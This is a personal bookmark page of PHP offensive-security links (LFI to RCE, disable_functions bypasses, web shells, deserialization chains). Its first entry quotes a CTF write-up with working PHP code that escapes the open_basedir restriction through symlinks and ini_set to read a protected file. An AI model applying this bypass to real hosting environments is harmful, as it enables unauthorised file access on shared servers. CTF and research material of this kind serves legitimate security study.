776 links
  • Shared Bookmarks
  • Home
  • Login
  • RSS Feed
  • ATOM Feed
  • Tag cloud
  • Picture wall
  • Daily
Links per page: 20 50 100
◄Older
page 1 / 2
25 results tagged php x
  • 52.0.228.201/writeup.txt

    This challenge was about bypassing PHP open_basedir when having a restricted arbitrary PHP code execution. Most of commons functions to execute commands were blocked.

    The initial solution that was intended used the following facts :

    • open_basedir can be tampered at runtime with ini_set, but is restricted by open_basedir itself (in other words, we should only be able to harden the existing rule)
    • open_basedir on symlink is working
    • call ini_set for open_basedir checks are only done at the time of changing the rule; the file system can change then

    That means that we can point open_basedir to a regular file under /tmp/, and then switch it to a symlink pointing to ../../../../[...] - but to create such a symlink, we need to create an arborescence that allows do to so without breaching the rule :

    chdir('/tmp');
    $x='';
    for($i=0;$i<10;$i++){
    mkdir('z');
    chdir('z');
    $x.='../';
    }
    symlink($x,'x');
    symlink($x,'y');
    ini_set('open_basedir','x:y:/tmp/x');
    rename('x',$x.'/x');
    chdir('y');
    chdir('x');
    ini_set('open_basedir','/:/tmp/z');
    echo file_get_contents('/flag.txt');

    Congratz to every solvers!
    Blaklis

    September 26, 2024 at 8:39:29 AM UTC * - permalink -
    QRCode
    - http://52.0.228.201/writeup.txt
    php bypass open_basedir ctf
  • thumbnail
    RedTeam Pentesting - Blog - Insecure Deserialization - How to Trace Down a Gadget Chain
    May 5, 2023 at 9:53:24 AM UTC - permalink -
    QRCode
    - https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/
    unserialize write up php gadget chain
  • thumbnail
    GitHub - chrisallenlane/drek: A static-code-analysis tool for performing security-focused code reviews. It enables an auditor to swiftly map the attack-surface of a large application, with an emphasis on identifying development anti-patterns and footguns.
    May 2, 2023 at 11:08:43 AM UTC - permalink -
    QRCode
    - https://github.com/chrisallenlane/drek
    code audit signatures php drek github static analysis
  • PHP Development Server <= 7.4.21 - Remote Source Disclosure
    January 29, 2023 at 2:13:45 PM UTC * - permalink -
    QRCode
    - https://blog.projectdiscovery.io/php-http-server-source-disclosure/
    php disclosure source code dev
  • thumbnail
    mm0r1/exploits: Pwn stuff.
    December 15, 2022 at 8:57:15 AM UTC * - permalink -
    QRCode
    - https://github.com/mm0r1/exploits/
    php rce bypass disable_functions
  • thumbnail
    NF.sec – Linux Security Blog - Wstrzykiwanie .htaccess do aplikacji PHP
    September 20, 2022 at 4:11:46 PM UTC - permalink -
    QRCode
    - https://nfsec.pl/security/5927
    php htaccess upload
  • thumbnail
    Solving "includer's revenge" from hxp ctf 2021 without controlling any files
    September 7, 2022 at 9:09:08 AM UTC - permalink -
    QRCode
    - https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
    rce lfi ctf filter php
  • thumbnail
    exploits/exploit.php at master · mm0r1/exploits
    October 7, 2021 at 2:27:16 PM UTC - permalink -
    QRCode
    - https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php
    php disable functions bypass
  • thumbnail
    Local file inclusion with tmp files |
    August 19, 2021 at 1:56:54 PM UTC - permalink -
    QRCode
    - https://truesecdev.wordpress.com/2016/11/09/local-file-inclusion-with-tmp-files/
    lfi tmp files upload php
  • thumbnail
    PHP Supply Chain Attack on Composer
    August 19, 2021 at 1:52:02 PM UTC - permalink -
    QRCode
    - https://blog.sonarsource.com/php-supply-chain-attack-on-composer
    php supply chain composer
  • thumbnail
    - LFI With PHPInfo Assistance.pdf
    August 19, 2021 at 1:49:00 PM UTC - permalink -
    QRCode
    - https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
    lfi tmp rce php upload inotifywait inotify
  • thumbnail
    php-findsock-shell | pentestmonkey
    July 8, 2021 at 9:20:12 AM UTC - permalink -
    QRCode
    - http://pentestmonkey.net/tools/web-shells/php-findsock-shell
    shell php reuse socket findsocket
  • thumbnail
    WordPress Plugin Security Testing Cheat Sheet · wpscanteam/wpscan Wiki
    January 22, 2021 at 4:35:19 PM UTC - permalink -
    QRCode
    - https://github.com/wpscanteam/wpscan/wiki/WordPress-Plugin-Security-Testing-Cheat-Sheet
    wordpress audit code php plugin
  • thumbnail
    РНР_wrappers.pdf
    November 11, 2020 at 11:24:43 AM UTC - permalink -
    QRCode
    - https://www.ptsecurity.com/upload/corporate/ru-ru/webinars/ics/%D0%90.%D0%9C%D0%BE%D1%81%D0%BA%D0%B2%D0%B8%D0%BD_%D0%9E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF_%D0%B8%D1%81%D0%BF_%D0%A0%D0%9D%D0%A0_wrappers.pdf
    php wrappers exploitation
  • thumbnail
    Orange: 十月 2018

    " OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!"

    November 10, 2020 at 6:38:26 PM UTC - permalink -
    QRCode
    - http://blog.orange.tw/2018/10/
    php lfi upload rce sessions
  • thumbnail
    Exploit with PHP Protocols / Wrappers - cdxy
    November 10, 2020 at 4:41:29 PM UTC - permalink -
    QRCode
    - https://www.cdxy.me/?p=752
    php wrapper exploitation filters url include lfi rfi rce
  • thumbnail
    PowerPoint Presentation - us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
    November 10, 2020 at 12:07:26 PM UTC - permalink -
    QRCode
    - https://raw.githubusercontent.com/s-n-t/presentations/master/us-18-Thomas-It%27s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
    php unserialize wrapper phar filter
  • thumbnail
    0xbigshaq/php7-internals: Research about the Zend Engine
    August 24, 2020 at 3:33:15 PM UTC - permalink -
    QRCode
    - https://github.com/0xbigshaq/php7-internals
    php internals internal vuln research
  • 1640 - ghostscript: multiple critical vulnerabilities, including remote command execution - project-zero - Project Zero - Monorail

    https://blog.semmle.com/ghostscript-CVE-2018-19475/
    https://seclists.org/oss-sec/2016/q4/29

    December 3, 2019 at 12:15:57 PM UTC * - permalink -
    QRCode
    - https://bugs.chromium.org/p/project-zero/issues/detail?id=1640
    gs ghostscript postscript pdf imagemagick convert php 0day rce hacking pentest jpg jpeg gif
  • thumbnail
    Upgrade from LFI to RCE via PHP Sessions - RCE Security

    RCE through LFI using PHP sessions variables

    December 2, 2019 at 3:30:37 PM UTC - permalink -
    QRCode
    - https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/
    php rce lfi hacking pentest sessions session variable phpsessid
Links per page: 20 50 100
◄Older
page 1 / 2
Shaarli - The personal, minimalist, super fast, database-free, bookmarking service by the Shaarli community - Help/documentation